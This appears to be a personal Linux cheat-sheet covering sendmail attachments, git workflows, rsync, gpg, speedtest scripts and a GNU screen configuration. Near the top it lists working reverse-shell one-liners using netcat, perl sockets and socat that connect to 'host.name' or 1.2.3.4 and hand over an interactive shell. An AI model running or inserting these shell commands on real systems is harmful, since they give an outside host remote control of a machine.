Oneliner to send email with attachment using sendmail:

$S Subject
$B Body
$A Attachment

S="Subject"; B="Body goes here.";A=/tmp/file.zip;Y=B_$;(echo -e "From: $USER@$HOSTNAME\nSubject: $S\nMIME-Version: 1.0\nContent-Type: multipart/mixed; boundary=\"$Y\";\n--$Y\nContent-Type: text/plain\n\n$B\n--$Y\nContent-Type: application/octet-stream;\nContent-Disposition: attachment; filename=\"`echo $A|sed s@/tmp/@@`\"\nContent-Transfer-Encoding: base64\n";openssl base64 -e < $A;echo "--$Y--") | sendmail mail@host.com

man openssl | cat
man -P cat openssl
groff -t -e -mandoc -Tascii manpage.1 | col -bx > manpage.txt

USING NETCAT:

SERVER/LISTEN:

netcat -lvp 9999

CLIENT:

netcat -e /bin/sh host.name 9999

perl -e 'use Socket;$i="host.name";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -e 'use Socket;$i="host.name";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

NICER SHELL:

python -c 'import pty; pty.spawn("/bin/bash")'
( sleep 1; echo 'bla' ) | python -c "import pty; pty.spawn(['/usr/bin/sudo','-S','whoami']);"

USING SOCAT:

SERVER/LISTEN:

socat file:`tty`,raw,echo=0 tcp-listen:8888

CLIENT:

socat tcp-connect:host.name:8888 exec:'bash -li',pty,stderr,setsid,sigint,sane

CLIENT:

socat tcp:host.name:8888 exec:"bash -li",pty,stderr,setsid,sigint,sane

socat TCP-LISTEN:8888,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
socat FILE:`tty`,raw,echo=0 TCP:1.2.3.4:8888

export STY=
stty rows 40 cols 130
stty rows 40 cols 230

/etc/default/grub:

GRUB_CMDLINE_LINUX="video=off elevator=deadline console=tty0 console=ttyS0,115200"
GRUB_TERMINAL=serial
GRUB_SERIAL_COMMAND="serial --unit=0 --speed=115200 --stop=1"

/etc/inittab:

0:2345:respawn:/sbin/agetty -8 ttyS0 115200 vt100

Just a little cheatsheet… ;)

Start ssh-agent:

eval $( ssh-agent )
ssh-add /home/user/.ssh/id_ed25519_git
ssh -T [email protected]

Now you should be able to “git push”

New repository, using SSH:

git push origin master
git remote set-url origin [email protected]:username/repo.git
git remote add origin [email protected]:username/repo.git
git add .
git commit -m "First commit"

To change commit comment:

git commit --amend

Branches:

Clone the repository:

git clone

List all branches:

git branch -a

Checkout the branch that you want:

git checkout my-patch

Adding branches:

git branch
git checkout -b branchname
git push origin branchname
git remote add branchname [email protected]:username/repo.git
git commit .
git push branchname branchname

Switch between branches:

git checkout master
git checkout –

Remove remote (no really harmful):

git remote remove

More details about branches:

Update your branch when the original branch from official repository has been updated :

$ git fetch [name_of_your_remote]

Then you need to apply to merge changes, if your branch is derivated from develop you need to do :

$ git merge [name_of_your_remote]/develop

Delete a branch on your local filesystem :

$ git branch -d [name_of_your_new_branch]

To force the deletion of local branch on your filesystem :

$ git branch -D [name_of_your_new_branch]

Delete the branch on github :

$ git push origin :[name_of_your_new_branch]

Color:

git diff --color-words
git log --color-words
git show --color-words

Undo:

git checkout .  # revert your changes
git clean -fdxn # dry run
git clean -xdf  # delete untracked and ignored files (!!!)

SHA Hash:

git hash-object

(compare to:)
https://api.github.com/repos/user/repos/contents/file
https://api.github.com/repos/user/repos/bobs/hash

Removing sensitive data:

bfg --delete-files YOUR-FILE-WITH-SENSITIVE-DATA

bfg --replace-text passwords.txt

OR

git filter-branch --force --index-filter \
'git rm --cached --ignore-unmatch PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA' \
--prune-empty --tag-name-filter cat -- --all

(add to .gitignore)

git push origin --force --all
git push origin --force --tags
git for-each-ref --format='delete %(refname)' refs/original | git update-ref --stdin
git reflog expire --expire=now --all
git gc --prune=now

Working state:

Use git stash when you want to record the current state of the working directory and the index, but want to go back to a clean working directory

git stash
git stash list
git stash show
git stash show -p --color

(!) remove all states:

git stash clear

List remote:

git ls-remote $URL

Versioning:

short commit hash:

git rev-parse --short HEAD

git describe --tags --always --dirty=-dirty

Logs:

git log --graph --abbrev-commit --format=format:'%h - %s%d'

git log --oneline 
git log --pretty=oneline --abbrev-commit

git log --abbrev-commit
git log -1 --abbrev-commit
git log -1 --pretty=format:%h 

Download:
https://github.com/sivel/speedtest-cli
https://pypi.python.org/pypi/speedtest-cli/

#!/bin/sh
for i in $( speedtest-cli/speedtest.py --list|grep "$1"|awk -F \) '{ print $1 }' ); do speedtest-cli/speedtest.py --server $i; echo; done

Use only NL servers:

#!/bin/sh
for i in $( speedtest-cli/speedtest.py --list|grep Netherlands|awk -F \) '{ print $1 }' ); do speedtest-cli/speedtest.py --server $i; echo; done

Update 2022:

There’s also a native cli tool now: https://www.speedtest.net/apps/cli

list

$ gpg --list-keys
$ gpg --list-secret-keys

check

$ gpg --local-user FFFF0000 -as

create

$ gpg
 <message>
 ^D

shred.sh:

shred -f -n 35 -s 10M -u -v -x -z $@

install

# yum install --enablerepo=elrepo-extras firefox

query

# repoquery --repoid=epel -a|xargs yum list installed

$ diff -ur --unidirectional-new-file a/bar b/bar

# lsblk
# dmsetup ls --tree
# findmnt (debian)
# lspci
# lsusb -v
# hwinfo

Copying files locally and between hosts using ssh

Used options:

a archive (-rlptgoD)
A preserve ACLs
c checksum
n dry-run
r recursive
v verbose

Examples:

rsync -arv --delete /mnt1/backups/ /mnt2/backups/

l recreate symlinks
t preserve modification times

rsync  -v -rlt --delete /mnt1/backups/ /mnt2/backups/rsync -avte 'ssh -p 2299' /dir1/dir2/ [email protected]:/dir1/dir2/

for i in dir1 dir2 dir2; do
        rsync -avte 'ssh -i /root/rsync_id_rsa -p 2222' /source/$i/ [email protected]:/target/$i/
done

For some reason I always tend to forget this one and just edit /etc/passwd..

# usermod -l login-name old-name

Screenshot:

This is how my current screen config looks, I use the same config on every host but with different colors for the status bar to quickly differentiate between them.

Commands:

Move window:

• change to the window you want to move
• type (for example) ^x:number 1
• ^x is the host key (usually ^a on most machines)
• :number (typed literally) is the command
• 1 the number to move the current screen to

Save log:

CTRL+a :

hardcopy -h

-or-

CTRL+a [
CTRL+a

:bufferfile /tmp/somefile.txt

CTRL+a >

Line wrap

<pre:wrap

Scrollback:

Press CTRL-a then : and then type

scrollback 10000

to get a 10000 line buffer, for example.

You can also set the default number of scrollback lines by adding

defscrollback 10000

to your ~/.screenrc file.

Another tip: CTRL-a i shows your current buffer setting.

List windows in tab:

CTRL+a w

Reload screenrc

CTRL-a : source $HOME/.screenrc

Fix ssh-agent:

Fix
“Could not open a connection to your authentication agent.”
“The agent has no identities.”

Cause: new socket/ppid

first detach/logout, then relogin with ssh -A and resume screen

export SSH_AUTH_SOCK=/tmp/ssh-oghop19109/agent.19109

CTRL+a: setenv SSH_AUTH_SOCK /tmp/ssh-oghop19109/agent.19109

ssh-add -l

My .screenrc:

# Startup message
startup_message off

# Default charset
defutf8 on

# Notice bell
#vbell on
vbell off
bell_msg
vbell_msg
vbellwait 2

# Scrollback, default is 100 lines
defscrollback 1024

# Statusline
#hardstatus on
#hardstatus alwayslastline

# Status bar without screen titles
#hardstatus string "%{.bW}%-w%{-}%{.bW}%{.0y} %t %{-}%+w %=%{..y} load: %l %{= c}%{.0C} %H%{..C}%{= b} %{.bc} %M %d %{..y}%D%{-} %c"
#blue:
#caption always "%{.bW}%-w%{-}%{.bW}%{.0y} %n %t %{-}%+w %=%{..y} load: %l %{= c}%{.0C} %H%{..C}%{= b} %{.bc} %M %d %{..y}%D%{-} %c"
#green:
#caption always "%{.gW}%-w%{-}%{.gW}%{.wk} %t %{-}%+w %=%{..k} load: %l %{= c}%{.0C} %H%{..C}%{= g} %{.gk} %M %d %{..k}%D%{-} %c"
#brown:
#caption always "%{.3W}%-w%{-}%{.3W}%{.wk} %t %{-}%+w %=%{..k} load: %l %{= c}%{.0C} %H%{..C}%{= 3} %{.3k} %M %d %{..k}%D%{-} %c"
#red:
#caption always "%{.rW}%-w%{-}%{.rW}%{.wk} %t %{-}%+w %=%{..k} load: %l %{= c}%{.0C} %H%{..C}%{= r} %{.rk} %M %d %{..k}%D%{-} %c"

# NEW:
#blue:
#caption always "%{.bw}%-w%{-}%{.bw}%{.0y} %n %t %{-}%+w %=%{.bw} %l %{= c}%{.0y} %H%{..C}%{= b} %{.bw} %D %d/%m %c"
#white:
caption always "%{.wW}%-w%{-}%{.wW}%{.0w} %n %t %{-}%+w %=%{.ky} %H%{..W} %{= k} %l %{= .kw} %D %d/%m %c:%s "
#green:
#caption always "%{.gW}%-w%{-}%{.gW}%{.wk} %n %t %{-}%+w %=%{.Gk} %H%{..W} %{= gk} %l %{= .gk} %D %d/%m %c:%s "
#red:
#caption always "%{.rW}%-w%{-}%{.rW}%{.wk} %n %t %{-}%+w %=%{.kW} %H%{..W} %{= rw} %l %{= .rw} %D %d/%m %c:%s "
#purple:
#caption always "%{.5W}%-w%{-}%{.5W}%{.wk} %n %t %{-}%+w %=%{.kC} %H%{..W} %{= 5w} %l %{= .5w} %D %d/%m %c:%s "
#cyan:
#caption always "%{.cW}%-w%{-}%{.cW}%{.wk} %n %t %{-}%+w %=%{+u 5k} %H %{..W}%{= ck} %l %{= .ck} %D %d/%m %c:%s "

# Screen startup file to start multiple commands under multiple screens.
# Start with "screen -c thisfilename"

# Screen 0: Start 'top'
# Screen 1: Start 'tail -F /var/log/syslog'

#screen -t script 0 ./script.sh
#screen -t irssi 1 irssi

#scrollback even when in putty
termcapinfo xterm ti@:te@

nonblock on